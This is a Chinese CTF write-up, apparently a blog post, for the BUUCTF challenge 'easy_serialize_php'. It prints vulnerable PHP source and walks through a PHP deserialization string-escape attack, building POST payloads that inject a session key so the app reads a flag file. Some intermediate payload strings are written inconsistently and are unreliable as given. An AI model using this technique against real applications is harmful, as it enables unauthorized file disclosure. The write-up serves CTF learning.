web buuctf [安洵杯 2019]easy_serialize_php

考点:反序列化逃逸

这个题目是一道php代码审计题目,打开就是源码,

<?php

$function = @$_GET['f'];

function filter($img){                                     
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

需要用到的函数

unset() 函数:用于销毁给定的变量。

implode() 函数返回由数组元素组合成的字符串。

extract() 

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

2.根据代码提示,查看f=phpinfo

自动包含了文件/d0g3_f1ag.php,那么我们就需要查看这个文件

3.继续看代码,最后一个语句有函数file_get_contents()就是查看文件,我们就需要使里面的参数为该php文件

看值$userinfo,是对_SESSION变量序列化后过滤再反序列化,存在反序列化字符逃逸漏洞。

反序列化字符逃逸,分为两类一类是字符增多,一类是减少,

本题利用的是一个过滤函数,所以是减少类型的

反序列化字符逃逸的漏洞本质就是改变序列化字符串的长短,在序列化的对象反序列化过程中,参数是严谨的,确定了字符的长度,会自动往后找补,并且会自动将{}以外的内容抛弃

4.构造payload:

_SESSION变量是通过post传递的字符串,上面的函数对该值进行了unset()销毁和extract()重新赋值

a.传值应为$_SESSION[q]=p

   序列化的值为 a:1{s:q的位数:"q";s:p的位数:"p"}

   因为之后的函数先进行序列化再反序列化,利用字符串逃逸漏洞,就需要p的值类序列化对象

b.  p中含有N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}   

(根据读文件函数需要读img的值,ZDBnM19mMWFnLnBocA==是d0g3_flag.php的base64编码)

c.那么原来的对象序列化后的值为:

 a:1{s:q的位数:"q";s:后面值的位数:"N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" }

这时候要想着怎么利用过滤函数,我们过滤什么呢,因为$_SESSION的值是可控的,我们尽量过滤到明确有的,我们可以过滤q,即令q=flag等

d.过滤后就成了a:1{s:q:" ";s:后面值的位数:"N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" }

e.要令img成为独立的键值对,那么前面也要构造一个键值对

   s:q:" ";s:后面值的位数:"N;

   随便令N=;s:1:1   s:q:" ";s:后面值的位数:";s:1:1;

  f. 那么

   $_SESSION[flag]=;s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 

    序列化后:

   {s:4:"flag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}

    过滤后:

   {s:4:" ";s:46:";s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}       "}(反序列化后扔掉)

   发现s:4:" ";s:46: "中的4应该为7,这个好改,我们把flag改成flagphp正好七个

 所以   $_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 

             _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

同理只需改动最后的base64,和数目即可

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值